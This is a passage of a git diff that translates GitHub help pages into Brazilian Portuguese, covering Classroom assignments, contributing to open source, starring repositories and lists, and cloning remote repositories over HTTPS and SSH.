+  - [Se já existirem recomendações na sala de aula](#if-there-already-are-existing-assignments-in-the-classroom)
+- [Configurar os fundamentos para uma atividade](#setting-up-the-basics-for-an-assignment)
+  - [Importando a tarefa](#importing-the-assignment)
+  - [Nomeando a atividade](#naming-the-assignment)
+  - [Atribuir um prazo para uma atividade](#assigning-a-deadline-for-an-assignment)
+  - [Escolher uma visibilidade para repositórios de atividades](#choosing-a-visibility-for-assignment-repositories)
+- [Convidar alunos para uma atividade](#inviting-students-to-an-assignment)
+- [Próximas etapas](#next-steps)
+- [Leia mais](#further-reading)
 
-### Importing the assignment
+### Importando a tarefa
 
-You first need to import the Git & {% data variables.product.product_name %} starter assignment into your organization.
+Primeiro, você precisa importar a atividade inicial do Git & {% data variables.product.product_name %} para a sua organização.
 
 <div class="procedural-image-wrapper">
-  <img alt="The `Import the assignment` button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
+  <img alt="O botão &quot;Importar a atividade&quot;" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
 </div>
 
-### Naming the assignment
+### Nomeando a atividade
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+Para uma atividade individual, {% data variables.product.prodname_classroom %} nomeia os repositórios pelo prefixo do repositório e pelo nome de usuário de {% data variables.product.product_name %} do aluno. Por padrão, o prefixo do repositório é o título da atividade. Por exemplo, se você nomear uma atividade como "assignment-1" e o nome de usuário do aluno em {% data variables.product.product_name %} for @octocat, o nome do repositório de atividade para @octocat será `assignment-1-octocat`.
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### Atribuir um prazo para uma atividade
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing a visibility for assignment repositories
+### Escolher uma visibilidade para repositórios de atividades
 
-The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
+Os repositórios de uma atividade podem ser públicos ou privados. Se você usar repositórios privados, apenas o aluno poderá ver o feedback que você fornecer. Em "Visibilidade do repositório" selecione uma visibilidade.
 
-When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page.
+Ao terminar, clique em **Continuar**. {% data variables.product.prodname_classroom %} criará a atividade e direcionará você para a página da atividade.
 
 <div class="procedural-image-wrapper">
-  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+  <img alt="Botão &quot;Continuar&quot;" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
 </div>
 
-## Inviting students to an assignment
+## Convidar alunos para uma atividade
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+Você pode ver se um aluno juntou-se à sala de aula e aceitou ou enviou uma atividade na aba **Todos os alunos** da atividade. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="Atividade individual" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment.
+A atividade inicial do Git & {% data variables.product.company_short %} só está disponível para alunos individuais, não para grupos. Depois de criar a atividade, os alunos poderão começar a trabalhar nela.
 
-## Next steps
+## Próximas etapas
 
-- Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" and "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+- Faça recomendações adicionais personalizadas para seu curso. Para obter mais informações, consulte "[Criar uma atividade individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" e "[Criar uma atividade em grupo](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-## Further reading
+## Leia mais
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- "[Use {% data variables.product.prodname_dotcom %} na sua sala de aula e pesquisa](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[Conecte um sistema de gerenciamento de aprendizagem para {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
diff --git a/translations/pt-BR/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/pt-BR/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
index 671697cc51..859769b570 100644
--- a/translations/pt-BR/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
+++ b/translations/pt-BR/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Finding ways to contribute to open source on GitHub
-intro: 'You can find ways to contribute to open source projects on {% data variables.product.product_location %} that are relevant to you.'
+title: Encontrando maneiras de contribuir com o código aberto no GitHub
+intro: 'Você pode encontrar maneiras de contribuir para projetos de código aberto em {% data variables.product.product_location %} que são relevantes para você.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 redirect_from:
   - /articles/where-can-i-find-open-source-projects-to-work-on
@@ -16,41 +16,42 @@ versions:
   ghec: '*'
 topics:
   - Open Source
-shortTitle: Contribute to open source
+shortTitle: Contribuir para o código aberto
 ---
-## Discovering relevant projects
 
-If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
+## Descobrir projetos relevantes
 
-If you've been active on {% data variables.product.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe).
+Se houver um tópico específico que lhe interessa, visite `github.com/topics/<topic>`. Por exemplo, se você estiver interessado em aprendizado de máquina, poderá encontrar projetos relevantes e bons problemas visitando https://github.com/topics/machine-learning. Você pode navegar por tópicos populares visitando [Tópicos](https://github.com/topics). Você também pode procurar repositórios que correspondam a um tópico do seu interesse. Para obter mais informações, consulte "[Pesquisar repositórios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)".
 
-Keep up with recent activity from repositories you watch and people you follow in the "All activity" section of your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+Se você esteve ativo em {% data variables.product.product_location %}, você pode encontrar recomendações personalizadas para projetos e bons problemas iniciais com base em suas contribuições anteriores, estrelas e outras atividades em [Explorar](https://github.com/explore). Você também pode se inscrever no boletim informativo Explorar para receber e-mails sobre oportunidades de contribuir para {% data variables.product.product_name %} com base em seus interesses. Para se inscrever, consulte [Explorar newsletter de e-mail](https://github.com/explore/subscribe).
+
+Acompanhe atividades recentes em repositórios que você inspeciona e de pessoas que segue na seção "All activity" (Todas as atividades) de seu painel pessoal. Para obter mais informações, consulte "[Sobre seu painel pessoal](/articles/about-your-personal-dashboard)".
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Finding good first issues
+## Encontrando bons problemas iniciais
 
-If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute.
+Se você já sabe em qual projeto deseja trabalhar, poderá encontrar problemas para iniciantes nesse repositório, visitando `github.com/<owner>/<repository>/contribute`. Por exemplo, você pode encontrar maneiras de fazer sua primeira contribuição para `electron/electron` em https://github.com/electron/electron/contribute.
 
-## Opening an issue
+## Abrir um problema
 
-If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines.
+Se você encontrar um erro em um projeto de código aberto, verifique se o erro já foi informado. Se o erro não foi informado, você pode abrir um problema para relatar o erro de acordo com as diretrizes de contribuição do projeto.
 
-## Validating an issue or pull request
+## Validando um problema ou pull request
 
-There are a variety of ways that you can contribute to open source projects.
+Existem várias maneiras de contribuir para projetos de código aberto.
 
-### Reproducing a reported bug
-You can contribute to an open source project by validating an issue or adding additional context to an existing issue. 
+### Reproduzindo um erro relatado
+Você pode contribuir para um projeto de código aberto validando um problema ou adicionando um contexto adicional a um problema existente.
 
-### Testing a pull request
-You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request.
+### Testando um pull request
+Você pode contribuir para um projeto de código aberto, fazendo o merge de um pull request na sua cópia local do projeto e testando as alterações. Adicione o resultado do seu teste em um comentário no pull request.
 
-### Updating issues
-You can contribute to an open source project by adding additional information to existing issues.
+### Atualizando problemas
+Você pode contribuir para um projeto de código aberto, incluindo informações adicionais para problemas existentes.
 
 
-## Further reading
+## Leia mais
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- "[Classificar seu repositório com tópicos](/articles/classifying-your-repository-with-topics)"
+- "[Sobre o painel da sua organização](/articles/about-your-organization-dashboard)"
diff --git a/translations/pt-BR/content/get-started/exploring-projects-on-github/index.md b/translations/pt-BR/content/get-started/exploring-projects-on-github/index.md
index 35476b39db..144b812c90 100644
--- a/translations/pt-BR/content/get-started/exploring-projects-on-github/index.md
+++ b/translations/pt-BR/content/get-started/exploring-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Exploring projects on GitHub
-intro: 'Discover interesting projects on {% data variables.product.product_name %} and contribute to open source by collaborating with other people.'
+title: Explorar projetos no GitHub
+intro: 'Descubra projetos interessantes em {% data variables.product.product_name %} e contribua para código aberto colaborando com outras pessoas.'
 redirect_from:
   - /categories/stars
   - /categories/87/articles
@@ -18,6 +18,6 @@ children:
   - /finding-ways-to-contribute-to-open-source-on-github
   - /saving-repositories-with-stars
   - /following-people
-shortTitle: Explore projects
+shortTitle: Explorar projetos
 ---
 
diff --git a/translations/pt-BR/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/pt-BR/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
index 6f823e3ea2..e88da3adb6 100644
--- a/translations/pt-BR/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
+++ b/translations/pt-BR/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
@@ -1,6 +1,6 @@
 ---
-title: Saving repositories with stars
-intro: 'You can star repositories and topics to keep track of projects you find interesting{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}.'
+title: Salvar repositórios com estrelas
+intro: 'Você pode favoritar repositórios e tópicos para acompanhar projetos que você considera interessantes{% ifversion fpt or ghec %} e descobrir conteúdo relacionado no seu feed de notícias{% endif %}.'
 redirect_from:
   - /articles/stars
   - /articles/about-stars
@@ -16,114 +16,102 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Save repos with stars
+shortTitle: Salve repositórios com estrelas
 ---
-You can search, sort, and filter your starred repositories and topics on your {% data variables.explore.your_stars_page %}.
 
-## About stars
+Você pode pesquisar, classificar e filtrar seus repositórios e tópicos com estrela no seu {% data variables.explore.your_stars_page %}.
 
-Starring makes it easy to find a repository or topic again later. You can see all the repositories and topics you have starred by going to your {% data variables.explore.your_stars_page %}.
+## Sobre estrelas
+
+A estrela facilita a localização posterior de um repositório ou tópico. Você pode ver todos os repositórios e tópicos marcados com estrelas acessando sua {% data variables.explore.your_stars_page %}.
 
 {% ifversion fpt or ghec %}
-You can star repositories and topics to discover similar projects on {% data variables.product.product_name %}. When you star repositories or topics, {% data variables.product.product_name %} may recommend related content in the discovery view of your news feed. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
+Você pode favoritar repositórios e tópicos para descobrir projetos semelhantes em {% data variables.product.product_name %}. Quando você marca repositórios ou tópicos com estrelas, o {% data variables.product.product_name %} pode recomendar um conteúdo relacionado na exibição de descoberta do seu feed de notícias. Para obter mais informações, consulte "[Encontrar maneiras de contribuir para o código aberto em {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
 {% endif %}
 
-Starring a repository also shows appreciation to the repository maintainer for their work. Many of {% data variables.product.prodname_dotcom %}'s repository rankings depend on the number of stars a repository has. In addition, [Explore](https://github.com/explore) shows popular repositories based on the number of stars they have.
+Marcar um repositório com estrelas também demonstra apreciação ao trabalho do mantenedor de repositório. Muitas classificações de repositórios do {% data variables.product.prodname_dotcom %} dependem do número de estrelas do repositório. Além disso, o [Explore](https://github.com/explore) mostra os repositórios populares com base no número de estrelas do repositório.
 
-## Starring a repository
+## Favoritando um repositório
 
-Starring a repository is a simple two-step process.
+Favoritar um repositório é um processo simples de duas etapas.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. In the top-right corner of the page, click **Star**.
-![Starring a repository](/assets/images/help/stars/starring-a-repository.png)
-1. Optionally, to unstar a previously starred repository, click **Unstar**.
-![Untarring a repository](/assets/images/help/stars/unstarring-a-repository.png)
+1. No canto superior direito da página, clique em **Estrela**. ![Favoritando um repositório](/assets/images/help/stars/starring-a-repository.png)
+1. Opcionalmente, para desmarcar um repositório como favorito, clique em **Desmarcar como favorito**. ![Removendo um repositório dos favoritos](/assets/images/help/stars/unstarring-a-repository.png)
 
 {% ifversion fpt or ghec %}
-## Organizing starred repositories with lists
+## Organizar repositórios favoritos com listas
 
 {% note %}
 
-**Note:** Lists are currently in public beta and subject to change.
+**Observação:** As listas estão atualmente em beta público e sujeitas a alterações.
 
 {% endnote %}
 
-Curate repositories that you've starred with public lists. You can create public lists that appear on your stars page at `https://github.com/USERNAME?tab=stars`.
+Faça uma curadoria dos repositórios que você favoritou com listas públicas. Você pode criar listas públicas que aparecem na sua página de favoritos em `https://github.com/USERNAME?tab=stars`.
 
-If you add a private repository to a list, then the private repository will only appear in your list for people with `read` access to the repository.
+Se você adicionar um repositório privado a uma lista, o repositório privado só aparecerá na sua lista para pessoas com acesso de `leitura` ao repositório.
 
-![Screenshot of lists on stars page](/assets/images/help/stars/lists-overview-on-stars-page.png)
+![Captura de tela das listas na página de favoritos](/assets/images/help/stars/lists-overview-on-stars-page.png)
 
-You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories. 
+Você pode adicionar um repositório a uma lista existente ou nova sempre que você vir o menu suspenso do repositório com **Estrela** ou **Favoritado**, independentemente de estar em uma página de repositório ou em uma lista de repositórios favoritados.
 
-![Screenshot of "Star" dropdown menu with list options featured from the repository page](/assets/images/help/stars/stars-dropdown-on-repo.png)
+![Captura de tela do meu suspenso "Estrela" com opções da lista de recursos da página do repositório](/assets/images/help/stars/stars-dropdown-on-repo.png)
 
-![Screenshot of "Starred" dropdown menu with list options featured from a starred repository list](/assets/images/help/stars/add-repo-to-list.png)
+![Captura de tela do menu suspenso "Favoritado" com opções de lista em destaque de uma lista de repositórios favoritados](/assets/images/help/stars/add-repo-to-list.png)
 
-### Creating a list
+### Criando uma lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Next to "Lists", click **Create list**.
-  ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
-3. Enter a name and description for your list and click **Create**.
-  ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
+2. Ao lado de "Listas", clique em **Criar lista**. ![Captura de tela do botão "Criar lista"](/assets/images/help/stars/create-list.png)
+3. Digite um nome e uma descrição para sua lista e clique em **Criar**. ![Captura de tela de modo que mostra onde você insere um nome e uma descrição com o botão "Criar"](/assets/images/help/stars/create-list-with-description.png)
 
-### Adding a repository to a list
+### Adicionando um repositório a uma lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Find the repository you want to add to your list.
-  ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
-3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list.
-  ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Encontre o repositório que você deseja adicionar à sua lista. ![Captura de tela da barra de pesquisa dos repositórios favoritados](/assets/images/help/stars/search-bar-for-starred-repos.png)
+3. Ao lado do repositório que você deseja adicionar, use o menu suspenso **Favoritado** e selecione sua lista. ![Captura de tela do menu suspenso que mostra as caixas de seleção da lista](/assets/images/help/stars/add-repo-to-list.png)
 
-### Removing a repository from your list
+### Removendo um repositório da sua lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Select your list.
-3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list.
-  ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Selecione sua lista.
+3. Ao lado do repositório que deseja remover, use o menu suspenso **favoritado** e desmarque a sua lista. ![Captura de tela que mostra as caixas de seleção da lista](/assets/images/help/stars/add-repo-to-list.png)
 
-### Editing a list name or description
+### Editando nome ou descrição da lista
 
 {% data reusables.stars.stars-page-navigation %}
-1. Select the list you want to edit.
-2. Click **Edit list**.
-3. Update the name or description and click **Save list**.
-  ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png) 
+1. Selecione a lista que você deseja editar.
+2. Clique em **Editar lista**.
+3. Atualize o nome ou a descrição e clique em **Salvar lista**. ![Captura de tela do modal que mostra o botão "Salvar lista"](/assets/images/help/stars/edit-list-options.png)
 
-### Deleting a list
+### Excluindo uma lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Select the list you want to delete.
-3. Click **Delete list**.
-  ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
-4. To confirm, click **Delete**.
+2. Selecione a lista que você deseja excluir.
+3. Clique **Excluir lista**. ![Captura de tela de modo que mostra o botão "Excluir lista"](/assets/images/help/stars/edit-list-options.png)
+4. Para confirmar, clique em **Excluir**.
 
 {% endif %}
 
-## Searching starred repositories and topics
+## Pesquisando repositórios e tópicos favoritados
 
-You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred. 
+Você pode usar a barra de pesquisa no seu {% data variables.explore.your_stars_page %} para encontrar rapidamente repositórios e tópicos que você favoritou.
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. Use the search bar to find your starred repositories or topics by their name.
-![Searching through stars](/assets/images/help/stars/stars_search_bar.png)
+1. Acesse o seu {% data variables.explore.your_stars_page %}.
+1. Use a barra de pesquisa para encontrar seus repositórios ou tópicos favoritos pelo nome. ![Pesquisar estrelas](/assets/images/help/stars/stars_search_bar.png)
 
-The search bar only searches based on the name of a repository or topic, and not on any other qualifiers (such as the size of the repository or when it was last updated).
+Essa barra pesquisa somente busca com base no nome do repositório ou tópico, e não com base em outros qualificadores (como tamanho do repositório ou data da última atualização).
 
-## Sorting and filtering stars on your stars page
+## Ordenando e filtrando as estrelas na sua página de estrelas
 
-You can use sorting or filtering to customize how you see starred repositories and topics on your stars page.
+Você pode usar a classificação ou filtragem para personalizar a forma como vê repositórios e tópicos favoritos na página de favoritos.
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. To sort stars, select the **Sort** drop-down menu, then select **Recently starred**, **Recently active**, or **Most stars**.
-![Sorting stars](/assets/images/help/stars/stars_sort_menu.png)
-1. To filter your list of stars based on their language, click on the desired language under **Filter by languages**.
-![Filter stars by language](/assets/images/help/stars/stars_filter_language.png)
-1. To filter your list of stars based on repository or topic, click on the desired option.
-![Filter stars by topic](/assets/images/help/stars/stars_filter_topic.png)
+1. Acesse o seu {% data variables.explore.your_stars_page %}.
+1. Para ordenar as estrelas, selecione **Ordenar** menu suspenso e, em seguida, selecione **Favoritados recentemente**, **Recentemente ativo** ou **Mais estrelas**. ![Ordenar estrelas](/assets/images/help/stars/stars_sort_menu.png)
+1. Para filtrar sua lista de favoritos com base no seus idiomas, clique no idioma desejado em **Filtrar por idiomas**. ![Filtrar estrelas por idioma](/assets/images/help/stars/stars_filter_language.png)
+1. Para filtrar sua lista de estrelas com base no repositório ou tópico, clique na opção desejada. ![Filtrar estrelas por tópico](/assets/images/help/stars/stars_filter_topic.png)
 
-## Further reading
+## Leia mais
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
+- "[Classificar seu repositório com tópicos](/articles/classifying-your-repository-with-topics)"
diff --git a/translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md
index 78b6642b52..25bb0e10f1 100644
--- a/translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md
+++ b/translations/pt-BR/content/get-started/getting-started-with-git/about-remote-repositories.md
@@ -1,5 +1,5 @@
 ---
-title: About remote repositories
+title: Sobre repositórios remotos
 redirect_from:
   - /articles/working-when-github-goes-down
   - /articles/sharing-repositories-without-github
@@ -10,89 +10,89 @@ redirect_from:
   - /github/using-git/about-remote-repositories
   - /github/getting-started-with-github/about-remote-repositories
   - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories
-intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update.'
+intro: 'A abordagem colaborativa do GitHub para o desenvolvimento depende da publicação de commits do seu repositório local para {% data variables.product.product_name %} para que outras pessoas visualizem, façam buscas e atualizações.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About remote repositories
 
-A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
+## Sobre repositórios remotos
 
-You can only push to two types of URL addresses:
+Uma URL remota é outra forma de o Git dizer "o lugar onde seu código é armazenado". A URL poderia ser seu repositório no GitHub, ou a bifurcação de outro usuário, ou até mesmo em um servidor totalmente diferente.
 
-* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git`
-* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git`
+Você pode fazer push apenas de dois tipos de endereço URL:
 
-Git associates a remote URL with a name, and your default remote is usually called `origin`.
+* Uma URL HTTPS como `https://{% data variables.command_line.backticks %}/user/repo.git`
+* Uma URL SSH, como `git@{% data variables.command_line.backticks %}:user/repo.git`
 
-## Creating remote repositories
+O Git associa uma URL remota a um nome, e seu remote padrão geralmente é chamado de `origin`.
 
-You can use the `git remote add` command to match a remote URL with a name.
-For example, you'd type the following in the command line:
+## Criar repositórios remotos
+
+Você pode usar o comando `git remote add` para corresponder uma URL remota a um nome. Por exemplo, você digitaria o seguinte na linha de comando:
 
 ```shell
-git remote add origin <em> &lt;REMOTE_URL> </em>
+git remote add origin <em> &ltURL_REMOTO> </em>
 ```
 
-This associates the name `origin` with the `REMOTE_URL`.
+Isso associa o nome `origin` ao `URL_REMOTO`.
 
-You can use the command `git remote set-url` to [change a remote's URL](/github/getting-started-with-github/managing-remote-repositories).
+É possível usar o comando `git remote set-url` para [alterar uma URL de remote](/github/getting-started-with-github/managing-remote-repositories).
 
-## Choosing a URL for your remote repository
+## Escolher uma URL para o seu repositório remoto
 
-There are several ways to clone repositories available on {% data variables.product.product_location %}.
+Existem várias maneiras de clonar repositórios disponíveis no {% data variables.product.product_location %}.
 
-When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details.
+Quando você visualiza um repositório conectado à sua conta, as URLs que podem ser usadas para clonar o projeto no computador ficam disponíveis abaixo dos detalhes do repositório.
 
-For information on setting or changing your remote URL, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Para obter informações sobre a configuração ou alteração da URL remota, consulte "[Gerenciar repositórios remotos](/github/getting-started-with-github/managing-remote-repositories)".
 
-## Cloning with HTTPS URLs
+## Clonando com as URLs de HTTPS
 
-The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy.
+As URLs de clone de `https:/` estão disponíveis em todos os repositórios, independentemente da visibilidade. As URL de clone de `https://` funcionam mesmo se você estiver atrás de um firewall ou proxy.
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+Quando você aplicar `git clone`, `git fetch`, `git pull` ou `git push` a um repositório remote usando URLS de HTTPS na linha de comando, o Git solicitará o seu nome de usuário e sua senha do {% data variables.product.product_name %}. {% data reusables.user_settings.password-authentication-deprecation %}
 
 {% data reusables.command_line.provide-an-access-token %}
 
 {% tip %}
 
-**Tips**:
-- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
-- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+**Dicas**:
+- Você pode usar um auxiliar de credenciais para que o Git se lembre de suas credenciais de {% data variables.product.prodname_dotcom %} toda vez que falar com {% data variables.product.prodname_dotcom %}. Para obter mais informações, consulte "[Armazenar as suas credenciais do {% data variables.product.prodname_dotcom %} no Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
+- Para clonar um repositório sem autenticar no {% data variables.product.product_name %} na linha de comando, use o {% data variables.product.prodname_desktop %}. Para obter mais informações, consulte "[Clonar um repositório do {% data variables.product.prodname_dotcom %} para o {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)".
 
 {% endtip %}
 
- {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %}
+ {% ifversion fpt or ghec %}Se você prefere usar o SSH mas não consegue conectar-se pela porta 22, você poderá usar o SSH através da porta HTTPS. Para obter mais informações, consulte "[Usar SSH através da porta HTTPS](/github/authenticating-to-github/using-ssh-over-the-https-port)".{% endif %}
 
-## Cloning with SSH URLs
+## Clonar com URLs de SSH
 
-SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)."
+As URLs de SSH fornecem acesso a um repositório do Git via SSH, um protocolo seguro. Para usar estas URLs, você deve gerar um par de chaves SSH no seu computador e adicionar a chave **pública** à sua conta em {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obter mais informações, consulte "[Conectar-se ao {% data variables.product.prodname_dotcom %} com SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)".
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+Quando você aplicar `git clone`, `git fetch`, `git pull` ou `git push` a um repositório remote usando URLs de SSH, precisará digitar uma senha e a frase secreta da sua chave SSH. Para obter mais informações, consulte "[Trabalhar com frases secretas da chave SSH](/github/authenticating-to-github/working-with-ssh-key-passphrases)".
 
-{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
+{% ifversion fpt or ghec %}Se você estiver acessando uma organização que usa o logon único SAML (SSO), você deverá autorizar sua chave SSH para acessar a organização antes de efetuar a autenticação. Para obter mais informações, consulte "[Sobre a autenticação com o logon único SAML em](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" e "[Autorizando uma chave SSH para uso com o logon único SAML](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" na documentação de {% data variables.product.prodname_ghe_cloud %}.{% else %}."{% endif %}{% endif %}
 
 {% tip %}
 
